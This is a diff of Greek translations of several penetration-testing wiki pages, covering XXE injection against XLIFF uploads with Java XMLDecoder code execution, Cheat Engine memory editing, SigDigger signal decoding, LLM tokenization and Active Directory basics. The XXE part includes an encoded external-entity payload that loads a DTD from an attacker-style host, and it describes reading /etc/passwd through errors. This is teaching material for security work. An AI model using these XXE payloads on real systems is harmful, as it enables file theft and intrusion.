Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
@ -476,7 +463,7 @@ DTD παράδειγμα:
Αυτό το παράδειγμα είναι εμπνευσμένο από [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).
XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).
### Blind Request Analysis
@ -514,7 +501,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας αναφερόμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας αναφερόμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:
```xml
@ -609,7 +596,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
```
## Java XMLDecoder XEE to RCE
XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή.
XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Αν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή.
### Using Runtime().exec()
```xml
@ -679,13 +666,13 @@ https://github.com/luisfontes19/xxexploiter
## Αναφορές
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

View File

@ -18,19 +18,19 @@
![](<../../images/image (311).png>)
Μπορείτε επίσης να ελέγξετε το κουτάκι για να **σταματήσετε το παιχνίδι ενώ σκανάρετε τη μνήμη**:
Μπορείτε επίσης να ελέγξετε το κουτάκι για **να σταματήσετε το παιχνίδι κατά τη σάρωση της μνήμης**:
![](<../../images/image (1052).png>)
### Συντομεύσεις
Στο _**Edit --> Settings --> Hotkeys**_ μπορείτε να ορίσετε διαφορετικές **συντομεύσεις** για διαφορετικούς σκοπούς όπως **σταματώντας** το **παιχνίδι** (το οποίο είναι πολύ χρήσιμο αν σε κάποια στιγμή θέλετε να σκανάρετε τη μνήμη). Διαθέσιμες είναι και άλλες επιλογές:
Στο _**Edit --> Settings --> Hotkeys**_ μπορείτε να ορίσετε διαφορετικές **συντομεύσεις** για διαφορετικούς σκοπούς όπως **σταμάτημα** του **παιχνιδιού** (το οποίο είναι πολύ χρήσιμο αν σε κάποια στιγμή θέλετε να σαρώσετε τη μνήμη). Διαθέσιμες είναι και άλλες επιλογές:
![](<../../images/image (864).png>)
## Τροποποίηση της τιμής
Μόλις **βρείτε** πού είναι η **τιμή** που ψάχνετε (περισσότερα γι' αυτό στα επόμενα βήματα) μπορείτε να **την τροποποιήσετε** κάνοντας διπλό κλικ πάνω της, και στη συνέχεια διπλό κλικ στην τιμή της:
Αφού **βρείτε** πού είναι η **τιμή** που **ψάχνετε** (περισσότερα γι' αυτό στα επόμενα βήματα) μπορείτε να **την τροποποιήσετε** κάνοντας διπλό κλικ πάνω της, και στη συνέχεια κάνοντας διπλό κλικ στην τιμή της:
![](<../../images/image (563).png>)
@ -50,22 +50,22 @@
![](<../../images/image (108).png>)
Στη συνέχεια, κάνετε κάτι ώστε η **τιμή να αλλάξει**, και **σταματάτε** το παιχνίδι και **εκτελείτε** μια **επόμενη σάρωση**:
Στη συνέχεια, κάνετε κάτι ώστε **η τιμή να αλλάξει**, και **σταματάτε** το παιχνίδι και **εκτελείτε** μια **επόμενη σάρωση**:
![](<../../images/image (684).png>)
Το Cheat Engine θα ψάξει για τις **τιμές** που **πήγαν από 100 στη νέα τιμή**. Συγχαρητήρια, **βρήκατε** τη **διεύθυνση** της τιμής που ψάχνατε, μπορείτε τώρα να την τροποποιήσετε.\
&#xNAN;_&#x49;f έχετε ακόμα πολλές τιμές, κάντε κάτι για να τροποποιήσετε ξανά αυτή την τιμή, και εκτελέστε άλλη μια "επόμενη σάρωση" για να φιλτράρετε τις διευθύνσεις._
_Αν έχετε ακόμα πολλές τιμές, κάντε κάτι για να τροποποιήσετε ξανά αυτή την τιμή, και εκτελέστε άλλη μια "επόμενη σάρωση" για να φιλτράρετε τις διευθύνσεις._
### Άγνωστη τιμή, γνωστή αλλαγή
Στο σενάριο που **δεν γνωρίζετε την τιμή** αλλά ξέρετε **πώς να την αλλάξετε** (και ακόμη και την τιμή της αλλαγής) μπορείτε να ψάξετε για τον αριθμό σας.
Στο σενάριο που **δεν γνωρίζετε την τιμή** αλλά ξέρετε **πώς να την αλλάξετε** (και ακόμα και την τιμή της αλλαγής) μπορείτε να ψάξετε για τον αριθμό σας.
Έτσι, ξεκινήστε εκτελώντας μια σάρωση τύπου "**Άγνωστη αρχική τιμή**":
![](<../../images/image (890).png>)
Στη συνέχεια, κάντε την τιμή να αλλάξει, υποδείξτε **πώς** η **τιμή** **αλλάχθηκε** (στη δική μου περίπτωση μειώθηκε κατά 1) και εκτελέστε μια **επόμενη σάρωση**:
Στη συνέχεια, κάντε την τιμή να αλλάξει, υποδείξτε **πώς** η **τιμή** **αλλάχθηκε** (στην περίπτωσή μου μειώθηκε κατά 1) και εκτελέστε μια **επόμενη σάρωση**:
![](<../../images/image (371).png>)
@ -73,7 +73,7 @@
![](<../../images/image (569).png>)
Μόλις βρείτε την τιμή σας, μπορείτε να την τροποποιήσετε.
Αφού βρείτε την τιμή σας, μπορείτε να την τροποποιήσετε.
Σημειώστε ότι υπάρχουν **πολλές πιθανές αλλαγές** και μπορείτε να κάνετε αυτά τα **βήματα όσες φορές θέλετε** για να φιλτράρετε τα αποτελέσματα:
@ -90,7 +90,7 @@
Η **πρώτη επιλογή** είναι χρήσιμη για να γνωρίζετε ποιες **μέρη** του **κώδικα** **χρησιμοποιούν** αυτή τη **διεύθυνση** (που είναι χρήσιμο για περισσότερα πράγματα όπως **να γνωρίζετε πού μπορείτε να τροποποιήσετε τον κώδικα** του παιχνιδιού).\
Η **δεύτερη επιλογή** είναι πιο **συγκεκριμένη**, και θα είναι πιο χρήσιμη σε αυτή την περίπτωση καθώς μας ενδιαφέρει να γνωρίζουμε **από πού γράφεται αυτή η τιμή**.
Μόλις επιλέξετε μία από αυτές τις επιλογές, ο **debugger** θα **συνδεθεί** με το πρόγραμμα και ένα νέο **κενό παράθυρο** θα εμφανιστεί. Τώρα, **παίξτε** το **παιχνίδι** και **τροποποιήστε** αυτή την **τιμή** (χωρίς να επανεκκινήσετε το παιχνίδι). Το **παράθυρο** θα πρέπει να **γεμίσει** με τις **διευθύνσεις** που **τροποποιούν** την **τιμή**:
Αφού επιλέξετε μία από αυτές τις επιλογές, ο **debugger** θα **συνδεθεί** με το πρόγραμμα και ένα νέο **κενό παράθυρο** θα εμφανιστεί. Τώρα, **παίξτε** το **παιχνίδι** και **τροποποιήστε** αυτή την **τιμή** (χωρίς να επανεκκινήσετε το παιχνίδι). Το **παράθυρο** θα πρέπει να **γεμίσει** με τις **διευθύνσεις** που **τροποποιούν** την **τιμή**:
![](<../../images/image (91).png>)
@ -150,7 +150,7 @@
![](<../../images/image (944).png>)
Έτσι, εισάγετε τον νέο κώδικα assembly στην ενότητα "**newmem**" και αφαιρέστε τον αρχικό κώδικα από την "**originalcode**" αν δεν θέλετε να εκτελείται\*\*.\*\* Σε αυτό το παράδειγμα, ο εισαγόμενος κώδικας θα προσθέσει 2 πόντους αντί να αφαιρεί 1:
Έτσι, εισάγετε τον νέο σας κώδικα assembly στην ενότητα "**newmem**" και αφαιρέστε τον αρχικό κώδικα από την "**originalcode**" αν δεν θέλετε να εκτελείται\*\*.\*\* Σε αυτό το παράδειγμα, ο εισαγόμενος κώδικας θα προσθέτει 2 πόντους αντί να αφαιρεί 1:
![](<../../images/image (521).png>)

View File

@ -8,8 +8,8 @@
### Βασική Ρύθμιση
Μετά την εγκατάσταση υπάρχουν μερικά πράγματα που θα μπορούσατε να εξετάσετε για ρύθμιση.\
Στις ρυθμίσεις (το δεύτερο κουμπί καρτέλας) μπορείτε να επιλέξετε τη **συσκευή SDR** ή **να επιλέξετε ένα αρχείο** για ανάγνωση και ποια συχνότητα να συντονίσετε και το ρυθμό δειγματοληψίας (συνιστάται έως 2.56Msps αν ο υπολογιστής σας το υποστηρίζει)\\
Μετά την εγκατάσταση υπάρχουν μερικά πράγματα που θα μπορούσατε να εξετάσετε να ρυθμίσετε.\
Στις ρυθμίσεις (το δεύτερο κουμπί καρτέλας) μπορείτε να επιλέξετε τη **συσκευή SDR** ή **να επιλέξετε ένα αρχείο** για ανάγνωση και ποια συχνότητα να συγχρονίσετε και το ρυθμό δειγματοληψίας (συνιστάται έως 2.56Msps αν ο υπολογιστής σας το υποστηρίζει)
![](<../../images/image (245).png>)
@ -22,7 +22,7 @@
### Χρήσεις
- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** απλώς κρατήστε πατημένο το κουμπί "Push to capture" όσο χρειάζεστε.
- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** διατηρήστε το κουμπί "Push to capture" όσο χρειάζεστε.
![](<../../images/image (960).png>)
@ -50,8 +50,8 @@
### Αποκάλυψη τύπου διαμόρφωσης με IQ
Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμορφώνοντας την **αμplitude**, **συχνότητα** ή **φάση**.\
Αν ελέγχετε ένα σήμα υπάρχουν διάφοροι τρόποι να προσπαθήσετε να καταλάβετε τι χρησιμοποιείται για την αποθήκευση πληροφοριών (βρείτε περισσότερους τρόπους παρακάτω) αλλά ένας καλός είναι να ελέγξετε το γράφημα IQ.
Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμόρφωση της **αμplitude**, **συχνότητας** ή **φάσης**.\
Αν ελέγχετε ένα σήμα υπάρχουν διαφορετικοί τρόποι να προσπαθήσετε να καταλάβετε τι χρησιμοποιείται για την αποθήκευση πληροφοριών (βρείτε περισσότερους τρόπους παρακάτω) αλλά ένας καλός είναι να ελέγξετε το γράφημα IQ.
![](<../../images/image (788).png>)
@ -72,7 +72,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### Έλεγχος του περιγράμματος
Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλώς κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός:
Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλά κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός:
![](<../../images/image (590).png>)
@ -82,7 +82,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### Έλεγχος του Ιστογράμματος
Μπορείτε να **επιλέξετε ολόκληρο το σήμα** όπου βρίσκονται οι πληροφορίες, να επιλέξετε τη λειτουργία **Αμplitude** και **Επιλογή** και να κάνετε κλικ στο **Ιστόγραμμα.** Μπορείτε να παρατηρήσετε ότι 2 καθαρά επίπεδα βρίσκονται μόνο
Μπορείτε να **επιλέξετε ολόκληρο το σήμα** όπου βρίσκονται οι πληροφορίες, να επιλέξετε τη λειτουργία **Αμplitude** και **Επιλογή** και να κάνετε κλικ στο **Ιστογράφημα.** Μπορείτε να παρατηρήσετε ότι 2 καθαρά επίπεδα βρίσκονται μόνο
![](<../../images/image (264).png>)
@ -90,7 +90,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
![](<../../images/image (732).png>)
Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος απλώς τροποποιήθηκε λόγω του καναλιού.
Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος έχει απλώς τροποποιηθεί λόγω του καναλιού.
#### Με IQ
@ -108,36 +108,36 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### Με μια ομάδα συμβόλων
Μπορείτε επίσης να υποδείξετε τον αριθμό των συμβόλων που πρόκειται να επιλέξετε και το SigDigger θα υπολογίσει τη συχνότητα ενός συμβόλου (όσο περισσότερα σύμβολα επιλέξετε τόσο καλύτερα πιθανώς). Σε αυτό το σενάριο επέλεξα 10 σύμβολα και η "Συχνότητα επιλογής" είναι 1.004 Khz:
Μπορείτε επίσης να υποδείξετε τον αριθμό των συμβόλων που θα επιλέξετε και το SigDigger θα υπολογίσει τη συχνότητα ενός συμβόλου (όσο περισσότερα σύμβολα επιλέξετε τόσο καλύτερα πιθανώς). Σε αυτό το σενάριο επέλεξα 10 σύμβολα και η "Συχνότητα επιλογής" είναι 1.004 Khz:
![](<../../images/image (1008).png>)
### Λάβετε Bits
Αφού βρείτε ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι **Αμplitude** είναι επιλεγμένο, ο ανακαλυφθείς **Ρυθμός Συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση Ρολογιού Gadner** είναι επιλεγμένη):
Έχοντας βρει ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι η **Αμplitude** είναι επιλεγμένη, ο ανακαλυφθείς **Ρυθμός συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση ρολογιού Gadner** είναι επιλεγμένη):
![](<../../images/image (965).png>)
- **Συγχρονισμός με επιλεγμένα διαστήματα** σημαίνει ότι αν προηγουμένως επιλέξατε διαστήματα για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί.
- **Χειροκίνητο** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί
- Στην **Επιλογή σταθερού διαστήματος** υποδεικνύετε τον αριθμό των διαστημάτων που πρέπει να επιλεγούν και υπολογίζει τον ρυθμό συμβόλων από αυτό
- **Ανάκτηση Ρολογιού Gadner** είναι συνήθως η καλύτερη επιλογή, αλλά πρέπει ακόμα να υποδείξετε κάποιο περίπου ρυθμό συμβόλων.
- **Συγχρονισμός με τις επιλεγμένες περιόδους** σημαίνει ότι αν προηγουμένως επιλέξατε περιόδους για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί.
- **Χειροκίνητα** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί
- Στην **Επιλογή σταθερού διαστήματος** υποδεικνύετε τον αριθμό των διαστημάτων που θα πρέπει να επιλεγούν και υπολογίζει τον ρυθμό συμβόλων από αυτό
- **Ανάκτηση ρολογιού Gadner** είναι συνήθως η καλύτερη επιλογή, αλλά πρέπει ακόμα να υποδείξετε κάποιο περίπου ρυθμό συμβόλων.
Πατώντας δείγμα αυτό εμφανίζεται:
![](<../../images/image (644).png>)
Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να κρατήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο:
Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να διατηρήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο:
![](<../../images/image (439).png>)
Αν υπήρχαν για παράδειγμα **4 διαφορετικά επίπεδα αμplitude**, θα έπρεπε να ρυθμίσετε τα **Bits ανά σύμβολο σε 2** και να επιλέξετε από το μικρότερο στο μεγαλύτερο.
Τέλος **αυξάνοντας** το **Zoom** και **αλλάζοντας το μέγεθος της σειράς** μπορείτε να δείτε τα bits (και μπορείτε να επιλέξετε όλα και να αντιγράψετε για να αποκτήσετε όλα τα bits):
Τέλος **αυξάνοντας** το **Zoom** και **αλλάζοντας το μέγεθος γραμμής** μπορείτε να δείτε τα bits (και μπορείτε να επιλέξετε όλα και να αντιγράψετε για να αποκτήσετε όλα τα bits):
![](<../../images/image (276).png>)
Αν το σήμα έχει περισσότερα από 1 bit ανά σύμβολο (για παράδειγμα 2), το SigDigger δεν έχει **τρόπο να ξέρει ποιο σύμβολο είναι** 00, 01, 10, 11, οπότε θα χρησιμοποιήσει διαφορετικές **γκρίζες κλίμακες** για να αναπαραστήσει το καθένα (και αν αντιγράψετε τα bits θα χρησιμοποιήσει **αριθμούς από 0 έως 3**, θα χρειαστεί να τα επεξεργαστείτε).
Αν το σήμα έχει περισσότερα από 1 bit ανά σύμβολο (για παράδειγμα 2), το SigDigger δεν έχει **τρόπο να ξέρει ποιο σύμβολο είναι** 00, 01, 10, 11, οπότε θα χρησιμοποιήσει διαφορετικές **κλίμακες γκρι** για να αναπαραστήσει το καθένα (και αν αντιγράψετε τα bits θα χρησιμοποιήσει **αριθμούς από 0 έως 3**, θα χρειαστεί να τα επεξεργαστείτε).
Επίσης, χρησιμοποιήστε **κωδικοποιήσεις** όπως **Manchester**, και **up+down** μπορεί να είναι **1 ή 0** και ένα down+up μπορεί να είναι 1 ή 0. Σε αυτές τις περιπτώσεις πρέπει να **επεξεργαστείτε τα αποκτηθέντα ups (1) και downs (0)** για να αντικαταστήσετε τα ζεύγη 01 ή 10 ως 0s ή 1s.
@ -155,11 +155,11 @@ sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
![](<../../images/image (725).png>)
Στην προηγούμενη εικόνα μπορείτε να παρατηρήσετε αρκετά καλά ότι **χρησιμοποιούνται 2 συχνότητες** αλλά αν **παρατηρήσετε** την **κυματομορφή** μπορεί να μην **μπορείτε να προσδιορίσετε σωστά τις 2 διαφορετικές συχνότητες**:
Στην προηγούμενη εικόνα μπορείτε να παρατηρήσετε αρκετά καλά ότι **χρησιμοποιούνται 2 συχνότητες** αλλά αν **παρατηρήσετε** την **κυματομορφή** μπορεί να μην είστε σε θέση να αναγνωρίσετε σωστά τις 2 διαφορετικές συχνότητες:
![](<../../images/image (717).png>)
Αυτό συμβαίνει επειδή κατέγραψα το σήμα και στις δύο συχνότητες, επομένως η μία είναι περίπου η άλλη σε αρνητική:
Αυτό συμβαίνει επειδή κατέγραψα το σήμα σε και τις δύο συχνότητες, επομένως η μία είναι περίπου η άλλη σε αρνητική:
![](<../../images/image (942).png>)
@ -193,7 +193,7 @@ sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
### Λάβετε το Ρυθμό Συμβόλων
Μπορείτε να χρησιμοποιήσετε την **ίδια τεχνική με αυτήν που χρησιμοποιήθηκε στο παράδειγμα AM** για να αποκτήσετε τον ρυθμό συμβόλων μόλις έχετε βρει τις συχνότητες που μεταφέρουν σύμβολα.
Μπορείτε να χρησιμοποιήσετε την **ίδια τεχνική με αυτήν που χρησιμοποιήθηκε στο παράδειγμα AM** για να αποκτήσετε το ρυθμό συμβόλων μόλις έχετε βρει τις συχνότητες που μεταφέρουν σύμβολα.
### Λάβετε Bits

View File

@ -15,7 +15,7 @@
Κείμενο: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- Για να μετατραπούν τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID.
- Για να μετατρέψει τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID.
- **Special Tokens:** Αυτά είναι ειδικά σύμβολα που προστίθενται στο λεξιλόγιο για να χειριστούν διάφορα σενάρια:
- `[BOS]` (Beginning of Sequence): Υποδεικνύει την αρχή ενός κειμένου.
- `[EOS]` (End of Sequence): Υποδεικνύει το τέλος ενός κειμένου.
@ -27,7 +27,7 @@ Tokens: `["Hello", ",", "world", "!"]`
- **Handling Unknown Words:**\
Αν μια λέξη όπως το `"Bye"` δεν είναι στο λεξιλόγιο, αντικαθίσταται με `[UNK]`.\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
&#xNAN;_(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
_(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
### **Advanced Tokenizing Methods**
@ -48,7 +48,7 @@ Tokens: `["Hello", ",", "world", "!"]`
- **Used By:** Μοντέλα όπως το BERT.
- **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου.
- **How It Works:**
- Ξεκινά με μια βασική λεξικολογική βάση από μεμονωμένους χαρακτήρες.
- Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες.
- Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
- Χρησιμοποιεί ένα πιθανοκρατικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει.
- **Benefits:**
@ -62,7 +62,7 @@ Tokens: `["Hello", ",", "world", "!"]`
- **How It Works:**
- Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens.
- Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης.
- Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπομονάδες.
- Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπολέξεις.
- **Benefits:**
- Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά.
- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations.

View File

@ -11,7 +11,7 @@
Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν:
1. **Κατάλογος** Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory.
2. **Αντικείμενο** Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων των **χρηστών**, **ομάδων** ή **κοινών φακέλων**.
2. **Αντικείμενο** Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων **χρηστών**, **ομάδων** ή **κοινών φακέλων**.
3. **Τομέας** Λειτουργεί ως δοχείο για τα αντικείμενα του καταλόγου, με τη δυνατότητα να συνυπάρχουν πολλοί τομείς εντός ενός **δάσους**, καθένας διατηρώντας τη δική του συλλογή αντικειμένων.
4. **Δέντρο** Μια ομάδα τομέων που μοιράζονται έναν κοινό ριζικό τομέα.
5. **Δάσος** Η κορυφή της οργανωτικής δομής στο Active Directory, που αποτελείται από αρκετά δέντρα με **σχέσεις εμπιστοσύνης** μεταξύ τους.
@ -29,12 +29,12 @@
### **Kerberos Authentication**
Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη διαδικασία **αυθεντικοποίησης Kerberos**.\
Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη **διαδικασία αυθεντικοποίησης Kerberos**.\
[**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md)
## Cheat Sheet
Μπορείτε να επισκεφθείτε το [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD.
Μπορείτε να επισκεφθείτε [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD.
## Recon Active Directory (No creds/sessions)
@ -77,7 +77,7 @@
### User enumeration
